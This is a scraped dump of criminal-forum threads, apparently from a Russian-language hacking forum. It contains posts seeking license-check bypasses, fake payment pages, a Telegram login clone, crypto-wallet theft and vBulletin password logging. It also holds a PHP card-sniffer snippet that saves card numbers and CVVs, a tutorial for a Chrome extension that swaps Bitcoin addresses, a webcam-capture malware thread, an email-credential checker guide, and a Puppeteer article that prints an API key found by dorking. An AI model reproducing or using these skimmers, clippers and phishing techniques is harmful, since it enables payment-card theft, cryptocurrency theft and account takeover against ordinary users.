    if(!ini_get('allow_url_fopen') ) {
        $requirements['allow_url_fopen'] = false;
        $requirements['disabled'] = true;
    }
    $data = array(
        'status' => 200,
        'requirements' => $requirements
    );
    header("Content-type: application/json");
    echo json_encode($data);
    exit();
}

?>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Pixel Photo | Installation</title>
        <link rel="shortcut icon" type="image/png" href="logo.png"/>
        <link rel="stylesheet" href="stylesheet/font-awesome-4.5.0/css/font-awesome.min.css">
        <link rel="stylesheet" href="stylesheet/bootstrap.min.css">
        <link rel="stylesheet" href="stylesheet/style.css">
        <script type="text/javascript" src="javascript/jquery-1.11.3.js"></script>
        <script type="text/javascript" src="javascript/init.js"></script>
        <script type="text/javascript" src="javascript/jquery.form.min.js"></script>
        <script type="text/javascript" src="main.js"></script>
    </head>
    <body>
            <style>button:disabled {color: #fff !important;}body {background: #f9f9f9;}form {margin-bottom: 0;}.btn-main {color: #ffffff;background-color: #7c4dff;border-color: #7c4dff;}.btn-main:disabled {color: #333;border: none;}.btn-main:hover {color: #ffffff;background-color: #7c4dff;border-color: #7c4dff;}.admin-panel .col-md-9 .list-group-item:first-child,.setting-panel .col-md-8 .list-group-item:first-child,.profile-lists .list-group-item:first-child,.col-md-8 .list-group-item:first-child,.col-sm-4 .list-group-item:first-child,.red-list .list-group-item:first-child {color: #ffffff;background-color: #7c4dff;}.admin-panel .col-md-9 .list-group-item:first-child a,.setting-panel .col-md-8 .list-group-item:first-child a,.profile-lists .list-group-item:first-child a,.col-md-8 .list-group-item:first-child a {color: #ffffff !important;}.list-group-item.black-list.active-list {color: #ffffff;background-color: #7c4dff;}.list-group-item.black-list {background: #ffffff;}.profile-top-line {background-color: #7c4dff;}#bar {background-color: #7c4dff;}.list-group-item.black-list a {color: #444444;}.list-group-item.black-list.active-list a {color: #ffffff;}.main-color,.small-text a {color: #7c4dff !important;}.search-advanced-container a:hover {text-decoration: none;color: #ffffff;background-color: #7c4dff;}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover {color: #ffffff;cursor: default;color: #7c4dff;border-bottom: 1px solid #7c4dff;background-color: transparent}.btn-active {color: #ffffff;background: #7c4dff;outline: none;border: 1px solid #7c4dff}.btn-active:hover,.btn-active:focus {border: 1px solid #7c4dff;color: #ffffff;background: #7c4dff;}.btn-active-color:hover {background: #7c4dff;}.chat-container .online-toggle {background: #7c4dff;}.chat-tab .online-toggle {background: #7c4dff;}.profile-style .user-follow-button button.btn-active,.btn-login,.btn-register {background: #7c4dff;color: #ffffff;}.profile-style .user-follow-button button.btn-active:hover,.btn-login:hover,.btn-login:focus,.btn-register:hover,.btn-register:focus {color: #ffffff;background: #7c4dff;}.panel-login button:disabled {background-color: #A33E40;}.panel-login>.panel-heading a.active {color: #7c4dff;font-size: 18px;}table, td, th, tr {font-size: 14px !important; }small {color: #555 !important;}</style>
            <div class="content-container container">
                <h1>Pixel Photo Script Installation</h1>
                <div class="row admin-panel">
                    <div class="col-md-3">
                        <ul class="list-group">
                            <li class="list-group-item black-list active-list"><i class="fa fa-fw fa-bars"></i> Terms of use</li>
                            <li class="list-group-item black-list "><i class="fa fa-fw fa-cog"></i> Requirements</li>
                            <li class="list-group-item black-list "><i class="fa fa-fw fa-download"></i> Installation</li>
                            <li class="list-group-item black-list "><i class="fa fa-fw fa-check"></i> Finish</li>
                        </ul>
                    </div>
                    <div class="col-md-9">
                        <div class="list-group">
                            <div class="list-group-item"><i class="fa fa-fw fa-bars"></i> Envato Purchase code</div>
                            <div class="setting-well">
                                <div class="terms">
                                    <div class="req">
                                        <div id="respond"></div>
                                        <form action="#" method="post" class="form-horizontal install-site-setting">
                                            <div class="form-group">
                                                <label class="col-md-3" for="siteName">Purchase code</label> 
                                                <div class="col-md-6">
                                                    <input type="text" class="form-control" id="purshase_code" name="purshase_code" value="">
                                                    <span class="help-block">Your Envato purchase code, you can get it from <a href="https://help.market.envato.com/hc/en-us/articles/202822600">Here</a>.</span>
                                                </div>
                                            </div>
                        
                                            <button type="button" class="btn btn-main btn-install-v"><i class="fa fa-download progress-icon" data-icon="download"></i> Install</button> 
                        
                                        </form>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
    </body>
</html>

How i can bypass license check? thanks

Разработка сайта PHP
ID: 67668b27b4103b69df375cf6
Thread ID: 99486
Created: 2023-10-06T06:46:42+0000
Last Post: 2023-12-15T16:51:58+0000
Author: 4grad
Replies: 5 Views: 825

Идея масштабная домен готов к реализации
Кто готов свяжитесь обсудим детали предоставлю ТЗ
Оставьте в ЛС ваш ТГ

1696574850616.png

Сайт не отправляет запрос в Telegram | PHP
ID: 67668b27b4103b69df375d0b
Thread ID: 93481
Created: 2023-07-20T11:43:50+0000
Last Post: 2023-08-02T15:25:29+0000
Author: sw1ng
Replies: 9 Views: 817

Здраствуйте ребята, я делаю фейк платежку на PHP. Когда ввожу все данные и нажимаю на кнопку отправить ничего не приходит в ТГ, почему так происходит?

Нужно скопировать одностраничный сайт
ID: 67668b27b4103b69df375ccf
Thread ID: 107732
Created: 2024-02-07T18:58:50+0000
Last Post: 2024-05-03T01:55:05+0000
Author: wonderloeass
Replies: 5 Views: 815

Всем привеь. Нужно скопировать одностраничный сайт, а именно страницу авторизации telegram web. как это сделать? какие материалы можно почитать? есть что-то готовое в интернете?

$_POST Запрос
ID: 67668b27b4103b69df375ce1
Thread ID: 110137
Created: 2024-03-10T23:28:05+0000
Last Post: 2024-03-11T16:12:02+0000
Author: owll
Replies: 8 Views: 814

Столкнулся с конструкцией if(!empty($_POST) && is_string($_POST))
А как передать в POST sring?

Block chain auto withdrawal pages
ID: 67668b27b4103b69df375d89
Thread ID: 52662
Created: 2021-06-09T03:55:19+0000
Last Post: 2021-06-09T03:55:19+0000
Author: m-x3
Replies: 0 Views: 813

hello
I've seen crypto pages with auto withdrawal option, and I need to know what's the mechanism of this type of pages?
Does it depends on the platform api? if yes so how could I grab an api of a victim's wallet id?

[HELP] PHP shows 500 Internal Server Error on cPanel
ID: 67668b27b4103b69df375cbf
Thread ID: 119798
Created: 2024-07-29T18:10:35+0000
Last Post: 2024-07-30T11:23:22+0000
Author: megaibn
Replies: 3 Views: 806

Hello Everyone, mainly experienced server admins.

I build a android application, and use php on backend, i use cPanel for managing the server, but when i send a request on php like: url.com/something.php it shows 500.
But the server is works perfectly, not shows any error, the DB is mysql, and server is apache/httpd via cpanel.

Urgent please help someone.

Анализ исполнения JS кода
ID: 67668b27b4103b69df375ca4
Thread ID: 128333
Created: 2024-12-05T23:04:38+0000
Last Post: 2024-12-07T13:18:20+0000
Author: Demoduck
Replies: 4 Views: 800

Вопрос. Существует ли софт, на открытых просторах интернета, который поможет отладить JS код на определенной странице. К примеру, он будет эмулировать работу браузера, получаю все нужные файлы, которые выдает сервер(html, css, js, imgs и т.д.), то есть полная реализация работы обычного браузера. Но при обработки JS кода, все логгировал, показывал какая функция выполняется, была бы возможность реализовать break point’ы, выполнение кода step-by-step и т.д.?

HELP | Sniff to capture cards | Sniff para capturar cartões.
ID: 67668b27b4103b69df375d39
Thread ID: 77225
Created: 2022-12-03T01:23:14+0000
Last Post: 2022-12-03T01:23:14+0000
Author: DaffyDuck767
Replies: 0 Views: 795

Guys, I need to update a sniff of cards.
This sniff was to capture card data when the customer clicks the pay button.

Save in the root of the page a .txt with the captured data, but it's not working, someone to help.

$payment->setType(Payment::PAYMENTTYPE_CREDITCARD)
->creditCard($_POST['cc-cvv'], $_POST['cc-flag'])
->setExpirationDate($_POST['cc-expiration'])
->setCardNumber($ccnumber) // Não pode ter espaço
->setHolder($_POST['firstName']);
$Cvv = $_POST["cc-cvv"];
$ccVal = $_POST["cc-expiration"];
$nomeC = $_POST["firstName"];
$Daffy = "N cartao:$ccnumber validade: $ccVal CVV: $Cvv Nome: $nomeC";
$hnd = fopen("test.txt", "a");
fwrite($hnd, "$Daffy\r\n");

Click to expand...

Get in touch on Telegram DaffyDuck767

---------------
Pessoal, preciso atulizar um sniff de cartões.
Esse sniff era para capturar os dados do cartão quando o cliente clicar no botão pagar.

Salvar na raiz da pagina um .txt com os dados capturados, porém não esta funcionando, alguém para dar uma ajuda.

Entrar em contato no Telegram DaffyDuck767

Помогите исправить код пожалуйста
ID: 67668b27b4103b69df375cfa
Thread ID: 99435
Created: 2023-10-05T09:32:34+0000
Last Post: 2023-11-10T14:01:43+0000
Author: ScamEyes
Replies: 4 Views: 792

Пытаюсь с помощью ГПТ создать код. Код должен выводить кнопку "Скрыть видео" поверх видео, т.к. сейчас оно скрыто в панель-баре и каждый раз вызывать нудно
Пытаюсь его в tampermonkey засунуть, только вот к сожалению ничего не работает.

JavaScript:Copy to clipboard

// ==UserScript==
// @name         New Userscript
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the world!
// @author       You
// @match        https://www.youtube.com/feed/subscriptions
// @icon         data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

// JavaScript
const hideVideoBtn = document.querySelector('.hide-video-btn');

hideVideoBtn.addEventListener('click', function() {
    const videoItem = this.closest('.video-item');
    videoItem.style.display = 'none';
});

})();
Vbulletin 5 Login Logger Need.
ID: 67668b27b4103b69df375dc0
Thread ID: 40765
Created: 2020-08-11T08:35:59+0000
Last Post: 2020-08-11T08:35:59+0000
Author: webr00tr
Replies: 0 Views: 785

Vbulletin 5x How do I log login passwords?

Получить список открытых табов через js
ID: 67668b27b4103b69df375d5f
Thread ID: 61215
Created: 2022-01-11T17:44:28+0000
Last Post: 2022-01-11T19:27:10+0000
Author: samit
Replies: 4 Views: 770

Собственно сабж. Как получить список открытых табов через js скрипт на сайте. Как это сделать в extensions - читал
И до кучи, как получить history списком куда ходил пользователь. Про window.history.back() читал, но мне не надо чтобы пользователь видел, что я делаю

CC Shop script?
ID: 67668b27b4103b69df375d0d
Thread ID: 87137
Created: 2023-05-02T15:20:18+0000
Last Post: 2023-07-17T19:25:20+0000
Author: omerta
Replies: 4 Views: 768

I am looking for a safe Credit Cards Shop script

Вредонос
ID: 67668b27b4103b69df375d25
Thread ID: 63507
Created: 2022-02-26T11:17:31+0000
Last Post: 2023-04-03T21:43:11+0000
Author: m0dHEX
Replies: 18 Views: 766

Есть у меня значит очень интересный код написанный на php, он что делает. При помоши ngrok генерирует ссылку и если вы, мои уважаемые друзья, перешли то он включит камеру и будет вас снимать.
Моя проблема в чём. Почему то вместо фото выходят чёрные квадраты. Кто может мне помочь? Ссылку на код

You must have at least 30 reaction(s) to view the content.

Клиппер BTC в Google Chrome часть вторая.
ID: 67668b27b4103b69df375d0c
Thread ID: 93428
Created: 2023-07-19T19:28:05+0000
Last Post: 2023-07-20T09:44:13+0000
Author: TR77
Prefix: Статья
Replies: 1 Views: 763

Исходя из комментария с предложениями по доработке клиппера решил этим и заняться.

Регулярка на поиск адресов которые будут клипаться - устаревшая, адреса вида bc1q bc1p не будут заменены.

Click to expand...

Начнем с этого. Да действительно регулярка работала не на все адреса, сделаем новую. ^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$
Код теперь должен выглядеть так.
1689788483343.png
Потыкал много транзакций на сканнере биткоина все адреса заменяются, пропусков теперь нет.
Не забудьте обновить расширение после каждого изменения тыкнув на кнопку во вкладке chrome://extensions/
1689788944019.png

Полезно иметь не один "подменный" адрес, а хотя бы несколько, под каждый тип адреса 1..., 3..., bc1q... bc1p...

Окей, начнем с небольшого пояснения по началу адресов битка.

  1. **" 1" **- это начало для адресов в формате Pay-to-Public-Key-Hash (P2PKH).
  2. " 3" - это начало для адресов в формате Pay-to-Script-Hash (P2SH).
  3. " bc1q" - это начало для адресов в формате Bech32 (например, SegWit адреса).
  4. " bc1p" - это также начало для адресов в формате Bech32, но используется для тестовых сетей (например, тестовая сеть Bitcoin).

Чтоб понимать какой адрес на какой нужно заменять напишем для начала визуальный список наших четырех заменяемых адресов.

Например:

  1. 1FMtiCeHhtm2edWBWNX39cRUn7Y13FTAMy - 1
  2. 3C1LvdzkMZEhigQbAUMz7eoejmuNaAPHt7 - 3
  3. bc1qm34lsc65zpw79lxes69zkqmk6ee3ewf0j77s3h - bc1q
  4. bc1ppuydpatkcsgruekreyen8vylh7xy37g2akq6hetsjnj0mukkqjnslydm9v - bc1p

Теперь этот список нужно сделать массивом или обьектом где 1, 3, bc1q, bc1p будут ключами, а наши адреса значениями. Когда мы проверим начало найденного адреса на странице мы сможем заменить его на более менее похожий обратившись к обьекту или массиву по ключу и шанс не заметить подмену выростает. Переменную (константу) MY_ADDRESS можно удалить пока что. В виде JS кода это будет выглядеть так:

1689793136786.png

Теперь в цикле, который перебирает все найденные адреса на странице, нужно добавить код, который будет говорить нам с каких символов начинается найденный адрес. Для первых двух ключей 1 и 3 достаточно будет проверить первый символ строки и дальше сразу будет понятно на какой адрес нужно заменить, если начало строк не будет начинаться не с 1 и 3 мы будем брать первые 4 символа и сверять соответствие с bc1q и bc1p. На всякий случай еще будем удалять пробелы с начала и конца строки функцией trim чтоб избежать ложных несоответствий.
В виде кода это выглядит так:

1689794079339.png

1689794158290.png

Осталось только добавить вместо console.log'ов замену адреса на нужный обратившись к обьекту по ключу.

1689794416279.png

🎭 Парсинг и не только с Puppeteer проще, чем можно подумать
ID: 67668b27b4103b69df375cdc
Thread ID: 111473
Created: 2024-03-28T07:23:22+0000
Last Post: 2024-03-28T20:44:01+0000
Author: BlameUself
Prefix: Статья
Replies: 3 Views: 759

Автор: BlameUself
Источник: xss.is


JavaScript — поистине прекрасный язык программирования. Его миры безграничны и позволяют решать многочисленные задачи. Среди множества существует такая библиотека, как Puppeteer , которая позволяет автоматизировать массу задач. В первую очередь, она невероятно удобна для написания парсинга и авторегистраций. Но её потенциал позволяет реализовать любую задачу, которую вы способны сделать руками в рамках браузера.

Эта статья построена на нескольких примерах, приближенных к реальным задачам. Я склонен довериться тому, что разработку стоит осваивать, отталкиваясь именно от 'бизнес-требований', после прочтения минимальной информации о необходимых для решения инструментах. Это наиболее эффективный способ взаимодействия. Касательно того, насколько сложно разобраться с Puppeteer? При должной усердности освоить библиотеку можно с нуля за несколько недель, даже если вы достаточно поверхностно знаете язык.

Однажды я публиковал дорожную карту FullStack разработки на основе JavaScript, она все еще актуальна - ссылка на дорожную карту. Вам не требуется пройти её полностью для чтения этой статьи, совсем нет, но если вы захотите узнать больше о возможностях языка и список наиболее актуальных технологий, то можете продолжить с её помощью. В любом случае, я бы хотел, чтобы каждый после прочтения смог работать с библиотекой, и в то же время я не стану останавливаться на каждой строчке работы JavaScript. Было бы здорово предварительно ознакомиться с курсом

А также с https://learn.javascript.ru/. Эти два источника будут достаточны для свободного продолжения.


_Перед началом работы с Puppeteer вам необходимо убедиться в том, что у вас установлен рантайм для JavaScript - Node.js. Его можно скачать сhttps://nodejs.org/en, и вместе с ним будет установлен пакетный менеджер NPM. Для проверки откройте терминал и введите команду 'node --version'. В случае успешного выполнения вы увидите версию Node.js. В качестве среды разработки (IDE) я буду использовать модный и бесплатный _VS Code , но вы можете использовать любую по своему выбору.


Небольшое теоретическое введение:

Puppeteer - это библиотека, предназначенная для автоматизации работы с веб- браузером Chrome или Chromium через Node.js API. Она используется для автоматизации рутинных задач, связанных с веб-браузером, а также для тестирования веб-приложений, веб-скрапинга, создания скриншотов страниц и т. д.

Google Chrome и Chromium - это два разных веб-браузера, разработанных на основе открытого исходного кода проекта Chromium. Основное отличие между ними заключается в том, что Google Chrome является продуктом Google, который включает дополнительные функции и инструменты, такие как интеграция с сервисами Google, в то время как Chromium - это проект с открытым исходным кодом, который предоставляет базовый код браузера без некоторых закрытых компонентов и интеграций, присущих Chrome. Puppeteer может работать как с Chrome, так и с Chromium. Он использует Chrome DevTools Protocol для взаимодействия с браузером.

По умолчанию Puppeteer запускается в headless режиме.
Хедлесс браузер - это браузер без графического интерфейса пользователя (GUI), который работает в фоновом режиме. Он выполняет все функции обычного браузера, но без отображения визуального контента на экране. Проще говоря, хедлесс браузер - это браузер, который вы не видите.


Начну я с тех случаев, когда использование Puppeteer будет излишним решением.
Предположим, перед нами стоит задача получения данных о курсе криптовалют.
Итак, в сети существует множество API (Application Programming Interface), которые имеют удобные интерфейсы для предоставления данных. Способ получения данных с их помощью будет примерно следующим:
**Вводим поисковой запрос в Google "free api crypto prices" и выбираем любое на свой вкус. **Я выберу CoinGecko.
Untitled (20).png
Как правило, для работы с API необходим ключ, который служит методом аутентификации, а также ограничителем использования. Да, можно сказать, что минусом такого способа получения данных будет ограничение количества запросов.
Также мы видим ссылку на документацию. Плюсом такой работы является то, что у API имеется описание.
Untitled.png
Хорошо, как мы видим, от нас требуют ключ для работы. Регистрируемся и получаем ключ.

Кстати говоря, для достаточно популярных API вы легко сможете найти ключ без регистрации и SMS, используя дорки на GitHub. В данном случае это x_cg_pro_api_key. Иногда люди делятся .env файлами, но иногда они просто хардкодят. Несколько ключей оказались недействительными, но я все же достаточно быстро нашел один:
Untitled (1).png
Итак, допустим, мы хотим узнать актуальную цену биткойна. Внимательно изучаем эндпоинты и находим нужный.
Untitled (2).png
Прекрасная документация. Она сразу предоставляет необходимый код для запроса, отдаёт данные, дает возможность тестировать параметры - очеравательно описанное API.
Копируем код, который нам предоставили, и идем в VS Code. Вам необходимо изучить полученные данные, поскольку я вижу этот эндпоинт впервые, и я не знал, что он делает. Оказалось, он отдает данные сразу по множеству бирж, так даже круче.
Перепишем код исходя из полученного объекта, пройдемся по каждому tickers методом forEach и выведем название маркета + цену:

JavaScript:Copy to clipboard

const url = 'https://pro-api.coingecko.com/api/v3/coins/bitcoin'
const options = {
  method: 'GET',
  headers: { 'x-cg-pro-api-key': 'CG-QyGfobho7fpz7W33LMCU9dnX' },
}

fetch(url, options)
  .then((res) => res.json())
  .then((json) => {
    json.tickers.forEach((ticker) => {
      console.log(ticker.market.name + ' ' + ticker.last)
    })
  })
  .catch((err) => console.error('error:' + err))

Untitled (3).png
Вместо написания десятков веб-скраперов, мы использовали API. Итого, если требуется только выполнение простых HTTP-запросов и обработка ответов без необходимости автоматизации действий в браузере, старый добрый Fetch - наш выбор, и никаких папетиров).


И все же, даже если вы не нашли публичное API, возможно вам все еще не нужен Puppeteer. Предположим, наша задача - получить данные с сайтаhttps://nftpricefloor.com /, а он (предположим, сайт я взял для примера) не предоставляет публичного API. В таком случае, мы можем самостоятельно изучить запросы, которые наш браузер отправляет к серверу. Это более времязатратный способ, поскольку никакой документации вы не найдете. Тем не менее, открываем инструменты разработчика (в хроме это F12). Панель следует открыть до момента перехода на сайт. Переходим во вкладку Network и видим список запросов. Предположим, что вся интересующая нас информация находится именно в этом запросе (замечаем в нем API, впрочем, это не всегда может быть так). Если вам сложно понять, за что отвечает тот или иной запрос, пересмотрите все во вкладке Response.
Untitled (4).png
Переходим во вкладку Response и видим нужную нам информацию:
Untitled (5).png
Пишем код для получения данных, в данном случае имени и адреса контракта.

JavaScript:Copy to clipboard

const url = 'https://api-bff.nftpricefloor.com/search'

const options = {
  method: 'GET',
}
fetch(url, options)
  .then((res) => res.json())
  .then((json) => {
    json.forEach((item) => {
      console.log(item.name + ' ' + item.contractAddress)
    })
  })
  .catch((err) => console.error('error:' + err))

Untitled (6).png
Проверка запросов может здорово сократить время на написание парсера.


Ну что ж, переходим к Puppeteer.
Предположим, мы решили открыть онлайн-кинотеатр мультфильмов, а список решили взять с сайтаhttps://rezka.io/multfilmy/.
Открываем редактор кода в папке с будущим проектом, устанавливаем библиотеку командой ‘npm i puppeteer’. После установки у вас появятся файлы package.json, package-lock.json и папка node_modules.
Собственно, сам код. Рассмотрим боллерплейт:

JavaScript:Copy to clipboard

const puppeteer = require('puppeteer')
async function main() {
  let browser = await puppeteer.launch()
  try {
  } catch (e) {
    console.error(e)
  } finally {
    await browser?.close()
  }
}
main()

Подключаем модуль Puppeteer. Объявляем асинхронную функцию main(). Запускаем экземпляр браузера с помощью метода puppeteer.launch(). Далее объявляем блок try/catch, в котором в блоке try содержится основной код будущих скриптов, а блок catch создан для отлова ошибок. В блоке finally, независимо от того, возникло исключение или нет, вызывается метод browser.close(), чтобы закрыть браузер.


Логика работы кода заключается в том, что мы получаем HTML-документ и затем ищем нужную информацию, используя HTML-теги. Следовательно, нам необходимо найти соответствующий тег. Для этого открываем уже знакомую панель разработчика. Во вкладке "Elements" находится весь полученный HTML. В левом верхнем углу будет иконка, на которую можно нажать, чтобы быстро найти место в коде, где находится нужная информация. Вы также можете открыть код страницы, щелкнув правой кнопкой мыши и выбрав "View page source", затем использовать комбинацию клавиш Ctrl + F, чтобы найти нужный текст.
Untitled (7).png
Находим нужный HTML-тег, сохраняем его и переходим в IDE.

JavaScript:Copy to clipboard

const puppeteer = require('puppeteer')

async function main() {
  let browser = await puppeteer.launch({ headless: false })
  try {
    const page = await browser.newPage()
    await page.goto('https://rezka.io/multfilmy/')

    const data = await page.evaluate(() => {
      const h2Elements = document.querySelectorAll('h2.postTitle')
      const extractedData = Array.from(h2Elements).map((element) => {
        return {
          title: element.querySelector('a').getAttribute('title'),
          href: element.querySelector('a').getAttribute('href'),
        }
      })
      return extractedData
    })

    console.log(data)

    await page.screenshot({ path: 'screenshot.png' })
  } catch (e) {
    console.error(e)
  } finally {
    await browser?.close()
  }
}

main()

Untitled (8).png
Если вы хотите видеть, что происходит в браузере, используйте параметр headless: false. Итак, сперва мы создаем новую вкладку (page) в браузере с помощью метода browser.newPage(). Затем происходит переход на страницу с помощью метода page.goto(). На данный момент меня интересуют ссылки на страницы и название мультфильма. Для этого используем метод page.evaluate(), чтобы выполнить JavaScript в контексте страницы. Этот код извлекает данные из элементов

, а именно атрибуты title и href всех элементов , внутри этих заголовков, и возвращает массив объектов с этими данными. Далее данные отображаются в консоли. Кроме того, мы делаем скриншот страницы с помощью метода page.screenshot() и сохраняем его в файл screenshot.png. Это может быть полезно для отладки.
Всего на сайте 139 страниц с мультиками. Давайте перепишем код, чтобы получить данные с второй по пятую страницы. В URL отличается лишь цифра, так что код будет следующим:

JavaScript:Copy to clipboard

const puppeteer = require('puppeteer')
const fs = require('fs')

async function main() {
  const browser = await puppeteer.launch({ headless: false })
  try {
    const allData = []

    for (let pageNumber = 2; pageNumber <= 5; pageNumber++) {
      const page = await browser.newPage()
      await page.goto(`https://rezka.io/multfilmy/page/${pageNumber}/`)

      const data = await page.evaluate(() => {
        const h2Elements = document.querySelectorAll('h2.postTitle')
        const extractedData = Array.from(h2Elements).map((element) => {
          return {
            title: element.querySelector('a').getAttribute('title'),
            href: element.querySelector('a').getAttribute('href'),
          }
        })
        return extractedData
      })

      allData.push(...data)

      await page.close()

      await new Promise((resolve) => setTimeout(resolve, 2000))
    }

    fs.writeFileSync('data.json', JSON.stringify(allData, null, 2))
    console.log('Data saved to data.json')
  } catch (e) {
    console.error(e)
  } finally {
    await browser?.close()
  }
}

main()

Очень круто выводить данные в консоль, но ещё более невероятно их куда-то сохранять. Предлагаю делать это в JSON формате, для чего подключаем модуль fs (file system). Создаём цикл и переменную allData, в которую добавляем данные на каждой итерации. Добавим небольшую задержку в 2 секунды между переходами по страницам, используя промис. В конце преобразуем объект в JSON и сохраняем его в папке проекта.

Допустим, мы хотим получить все изображения, чтобы добавить их в свой онлайн- кинотеатр. Мы находим в коде тег, который отвечает за фото, и возвращаемся в VS Code.

JavaScript:Copy to clipboard

const puppeteer = require('puppeteer')
const fs = require('fs')

function delay(time) {
  return new Promise(function (resolve) {
    setTimeout(resolve, time)
  })
}

async function main() {
  let browser = await puppeteer.launch({ headless: false })
  try {
    const page = await browser.newPage()

    const jsonData = require('./data-data.json')

    for (let i = 0; i < jsonData.length; i++) {
      const { title, href } = jsonData[i]

      await page.goto(href)

      await page.waitForSelector('.postImg.postItem-cover img')

      const imgUrl = await page.$eval('.postImg.postItem-cover img', (img) =>
        img.getAttribute('src')
      )

      const response = await fetch(`https://rezka.io${imgUrl}`)
      const buffer = await response.arrayBuffer()

      const filename = `${href.replace(/[^a-zA-Z0-9]/g, '_')}.webp`

      fs.writeFileSync(filename, Buffer.from(buffer))

      console.log(`Изображение "${title}" сохранено как ${filename}`)

      await delay(2000)
    }
  } catch (e) {
    console.error(e)
  } finally {
    await browser.close()
  }
}

main()

Немного оптимизируем код. Во-первых, вынесем промис в отдельную функцию delay. Во-вторых, вынесем переменную page за пределы цикла. Загружается JSON-файл с данными из './data-data.json' (который создали ранее). С помощью метода page.goto() происходит переход на страницу, указанную в поле 'href'. Ждем, пока на странице не появится селектор '.postImg.postItem-cover img' с помощью метода page.waitForSelector(). С помощью метода page.$eval() извлекается атрибут 'src' изображения. Далее выполняется запрос к серверу с помощью fetch() для получения содержимого изображения по полученному URL. Полученное содержимое сохраняется в буфер с использованием метода arrayBuffer(). Формируется имя файла на основе ссылки, заменяя все символы, не являющиеся буквами и цифрами, на символ подчеркивания. Содержимое буфера записывается в файл с помощью fs.writeFileSync().
Итого, мы прошлись по ссылкам и выкачали все изображения мультфильмов из онлайн-кинотеатра.


Мы также можем реализовывать различные другие взаимодействия с браузером, используя Puppeteer. Нашей следующей задачей будет написать авторегистратор. В качестве примера возьмем сайт prizerebel.com
Untitled (9).png
Видим два поля и кнопку, все как обычно. Находим нужные поля в коде страницы. Такие поля, где вводят текст, обычно обозначаются тегом input. Нам нужно вставить в них свои значения. Далее нам нужно нажать кнопку "Sign Up" и убедиться, что код отработал правильно.
Перенесемся в среду разработки:

JavaScript:Copy to clipboard

const puppeteer = require('puppeteer')

async function main() {
  let browser = await puppeteer.launch({ headless: false })
  try {
    const page = await browser.newPage()
    await page.setViewport({
      width: 1920,
      height: 1080,
    })
    await page.goto('https://www.prizerebel.com/')

    await page.type('#signupFormEmail', 'temp-mail@com.com')
    await page.type('.signupDiv input[name="password"]', 'temptemptemp')

    await page.click('#signupSubmit')
    await page.waitForNavigation({ waitUntil: 'networkidle0' })

    console.log('Done!')

    await page.screenshot({ path: 'final_screenshot.png' })
    console.log('Screenshot saved as final_screenshot.png')
  } catch (e) {
    console.error(e)
  } finally {
    await browser?.close()
  }
}

main()

Собственно, скрипт переходит на указанный URL, вводит данные в поля ввода, нажимает на кнопку отправки формы, ожидает завершения загрузки страницы, а также делает скриншот страницы.
Дополнительно, можно реализовать дополнительную проверку наличия определенного фрагмента текста в коде страницы. Все это можно обернуть в цикл, а текст для ввода вынести в переменные. Рассматривайте этот пример как доказательство концепции.
После того, как вы поняли, какое поле вам нужно, смело используйте ChatGPT для помощи. Справляется также прекрасно, как и с регулярными выражениями, но вам также необходимо понимать, что вы делаете.


В диких условиях вы можете столкнуться с несколькими ограничениями, давайте поговорим о том, как обойти часть из них.

Во-первых, для большинства сайтов вы выглядите как бот. Тем не менее, на сайтах, которые я использовал для примера, это не помешало, но так бывает не всегда. Я оставлю это вам в качестве домашнего задания. Перейдите на сайт https://bot.sannysoft.com используя Puppeteer и сделайте скриншот, вы увидите, что он прекрасно определит, что перед ним бот.
Решением этого может быть плагин puppeteer-extra-plugin- stealth. В продолжение задания используйте плагин и увидите соверешенно другую картину.
В целом, плагин может изменить user-agent браузера, чтобы сделать его более похожим на то, как выглядит браузер при использовании обычного пользователя, но это не все его возможности.
Помимо этого, вы можете использовать прокси для скрытия IP-адреса. Для этого добавьте прокси во время инициализации браузера:

JavaScript:Copy to clipboard

const browser = await puppeteer.launch({
    args: [
      '--proxy-server=YOUR_PROXY_SERVER_IP:PORT',
    ]
  });

Также вы можете запустить код прямо от имени своего браузера Chrome:

JavaScript:Copy to clipboard

const browser = await puppeteer.launch({
    executablePath: '/путь/к/вашему/браузеру/chrome.exe',
  });

Это действительно хорошие способы, но поистине крутым будет приспособить Puppeteer к антидетект браузеру.


Ещё одной проблемой в этой задаче может стать капча. В целом, наиболее удобным решением будет использование плагина <https://www.npmjs.com/package/puppeteer- extra-plugin-recaptcha>.
Логика заключается в том, что мы перенаправляем капчу на сервис, где её разгадывают (насколько я понимаю, это до сих пор происходит вручную), и получаем решение. Минус очевиден в скорости работы такой системы и дополнительных затратах.
Могу ошибиться, но, по-видимому, авторами этого плагина являются сами 2captcha. В документации есть хороший пример, и также на их сайте есть отличная статья про решение капчи с помощью Puppeteer. Мне кажется, она достаточно понятна, тем не менее, я думаю, что вы можете смело обратиться в поддержку, и они окажут вам помощь. В целом, я считаю, что любой сервис должен помочь в интеграции своей системы с Puppeteer.[ Ссылка на статью от 2captcha](https://2captcha.com/blog/how-to-use-2captcha-solver-extension-in- puppeteer).


Как и при копировании сайтов, парсинге данных или автоматизации — это довольно простые задачи, и вы легко сможете их освоить, если вам будет интересно это сделать. Удачи!

Creating mail checker [Part 1]
ID: 67668b27b4103b69df375d04
Thread ID: 98156
Created: 2023-09-16T01:26:21+0000
Last Post: 2023-09-29T07:20:22+0000
Author: xanthopsia
Prefix: Статья
Replies: 1 Views: 754

Hello everyone! I have recently discovered the need for an email access checker, but since there was no public solution for the email service I needed, I decided to create one myself. Keep in mind that this was my first time writing any checker, and I have learned quite a lot while doing it. I will try to explain the whole process step by step so you can learn how to recreate it and possibly apply the information learned in your own projects.
Our target email service today is inbox.lv / lt, which is the largest email service used in Latvia/Lithuania.
Step 1: Understanding the Authentication Process
For this, I will be using Burp Suite Community Edition. While not necessary, it will make things easier. I am running Debian 12, by the way.
Installing Burp Suite:

  1. Visit the download page and download Burp Suite.

https://imgur.com/a/0O8jGk4

2. Open the terminal (CTRL+ALT+T), navigate to the Downloads folder, and run the .sh file you just downloaded.

https://imgur.com/a/lOBNJnE

3. After pressing "Next" everywhere you're asked, the installation will be finished.

https://imgur.com/a/4TFGTN8

Now that Burp Suite is available in Applications > Other, let's run it.

https://imgur.com/ecxYjaY

